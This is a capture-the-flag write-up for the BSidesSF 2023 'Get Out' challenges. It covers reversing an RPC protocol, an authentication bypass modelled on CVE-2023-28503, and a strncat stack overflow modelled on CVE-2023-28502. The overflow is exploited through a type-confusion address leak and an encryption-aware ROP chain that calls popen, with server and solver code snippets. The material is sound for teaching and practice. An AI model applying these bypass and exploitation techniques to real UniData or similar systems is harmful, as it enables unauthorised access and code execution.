BSidesSF 2023 Writeups: Get Out (difficult reverse engineering + exploitation)

This is a write-up for three challenges:

They are somewhat difficult challenges where the player reverses a network protocol, finds an authentication bypass, and performs a stack overflow to ultimately get code execution. It also has a bit of thematic / story to it!


Getout is based on a research project I did over the winter on Rocket Software’s UniData application. UniData (and other software they make) comes with a server called UniRPC, which functions very similarly to getoutrpc.

My intention for the three parts of getout are:

  • Solving getout1-warmup requires understanding how the RPC protocol works, which, as I said, is very similar to UniRPC
  • In getout2-gettoken, I emulated CVE-2023-28503 as best I could
  • In getout3-apply, I emulated CVE-2023-28502 but made it much, much harder to exploit

Let’s take a look at each!


The warmup is largely about reverse engineering enough of the protocol to implement it. You can find libgetout.rb in my solution, but the summary is that:

  • You connect to the RPC service
  • You send messages to the server, which are basically just a header, then a body comprised of a series of packed fields (integers, strings, etc)
  • The first message starts with an integer opcode:
    • Opcode 0 = “list services”
    • Opcode 1 = “execute a service”
  • Once a service is executed, a different binary takes over, which implements its own sub-protocol (though the packet formats are the same)

For getout1-warmup, you just have to connect to the service and it immediately sends you the flag. On the server, it looks like:

int main(int argc, char *argv[])
  int s = atoi(argv[1]);

  packet_body_t *response = packet_body_create_empty();
  packet_body_add_int(response, 0);
  packet_body_add_file(response, FLAG_FILE, 1);
  packet_body_add_file(response, NARRATIVE_FILE, 0);
  packet_body_send(s, 2, response);

  return 0;

And on the client, here’s the code:

  s = connect(*get_host_port())
  flag, narrative = use(s, 'ping')

  puts "Fetched narrative: #{ narrative }"
  check_flag(flag, terminate: true)
  exit 0
  s.close if s

And running my solution:

$ ruby ./solve.rb 
Loading checker...
Challenge name:        getout1-warmup
Expected flag:         CTF{your-client-seems-to-be-working} ("4354467b796f75722d636c69656e742d7365656d732d746f2d62652d776f726b696e677d")
Using TCP host/port:
Connected to RPC service! RPC services available:
* ping
* gettoken
* apply

Fetched narrative: Welcome to The Program, human! Your copy of Get Out Solutions seems to be working. Standby for further instructions!
Fetched flag: CTF{your-client-seems-to-be-working} ("4354467b796f75722d636c69656e742d7365656d732d746f2d62652d776f726b696e677d")
Looks good!


As I already mentioned, this is designed to emulate CVE-2023-28503, which is an authentication bypass vulnerability in Rocket Software’s UniData software. In the original vulnerability, the username :local: had a predictable password; specifically, the password for :local: was always <username>:<uid>:<gid>, where username is a username on the system, uid is the associated user id, and gid is a non-zero value.

I implemented a very similar function for getout2-gettoken, which looks like:

  if(!strcmp(username, ":testuser:")) {
    // Test user

    char *uid = strchr(password, ':');
    if(!uid) {
      return 0;

    *uid = '\0';

    char *gid = strchr(uid, ':');
    if(!gid) {
      return 0;
    *gid = '\0';

    struct passwd *userinfo = getpwnam(password);
    if(!userinfo) {
      return 0;

    if(userinfo->pw_uid != atoi(uid)) {
      return 0;

    if(!atoi(gid)) {
      return 0;

    return 1;

So basically, the username is :testuser:, but otherwise the bypassable login is identical to CVE-2023-28503.


The final part of this challenge was designed to be similar to CVE-2023-28502, but I decided to make it a bit harder.

The core issue is using strncat multiple times with the same buffer size, to concatenate multiple arguments:

  strncat(buffer + strlen(buffer), body->args[1].value.s.value, REGISTER_BUFFER_SIZE);
  strncat(buffer + strlen(buffer), body->args[2].value.s.value, REGISTER_BUFFER_SIZE);
  strncat(buffer + strlen(buffer), body->args[3].value.s.value, REGISTER_BUFFER_SIZE);
  strncat(buffer + strlen(buffer), body->args[4].value.s.value, REGISTER_BUFFER_SIZE);
  strncat(buffer + strlen(buffer), body->args[5].value.s.value, REGISTER_BUFFER_SIZE);
  strncat(buffer + strlen(buffer), uuid, REGISTER_BUFFER_SIZE);

The problem is that strncat terminates on a NUL byte, and we want to return to an address to call popen! Luckily, immediately after calling the strncat functions, the message is encrypted:

  size_t length = encrypt((uint8_t*)buffer, strlen(buffer) + 1);
  send_simple_binary_response(s, 0, (uint8_t*)buffer, length);

The key/IV for the encryption algorithm are hardcoded into the binary, which means we can predict the output of the encrypted block.

To write an exploit, we build a ROP stack containing all the NUL bytes we want:

  puts "* Generating a ROP Chain..."
  ROP = [
  puts " => #{ ROP.unpack('H*') }"

Then we decrypt the payload, which means it’ll encrypt to our ROP string:

  puts "* Encrypting the ROP chain with padding..."
  encrypted_payload = get_encrypted_string(RETURN_OFFSET, rop)
  puts " => #{ encrypted_payload.unpack('H*') }"

The get_encrypted_string function is where we decrypt the payload:

  def get_encrypted_string(offset, data)
    padding = 0x41.chr * offset

    cipher ='AES-128-CBC')
    cipher.padding = 0
    cipher.key = KEY
    cipher.iv = IV

    str = padding + data
    while(str.length % 16 != 0)

    return cipher.update(str) +

If the encrypted string has a NUL byte, we try again until it doesn’t.

The final thing is, we have access to popen, but we need a command string with an associated address! We actually take advantage of a type-confusion bug in the binary that leads to a memory leak in order to get known text at a known address.

When getting the user’s opcode from a packet, instead of using a convenience function like packet_read_int_arg, we instead access the union directly:

  uint64_t opcode = body->args[0].value.i.value;

If that argument happens to be the string type, it winds up being the address of the string:

typedef struct {
  uint64_t value;
} arg_int_t;

typedef struct {
  char *value;
} arg_string_t;

// [...]

typedef union {
  arg_int_t i;
  arg_string_t s;
  // [...]
} arg_t;

Then when it’s displayed, we get the string’s address:

  send_simple_response(s, ERROR_UNKNOWN_OPCODE, "Unknown opcode: %ld", opcode);

So basically, our exploit is:

  • Use the type confusion on unknown opcodes to get an address to a payload string
  • Generate a ROP stack that concludes with a call to popen
  • Decrypt the ROP stack so that it’ll later encrypt to the real ROP stack
  • Send the whole ROP stack spread across multiple strncat fields
  • Profit!


Join the conversation on this Mastodon post (replies will appear below)!

    Loading comments...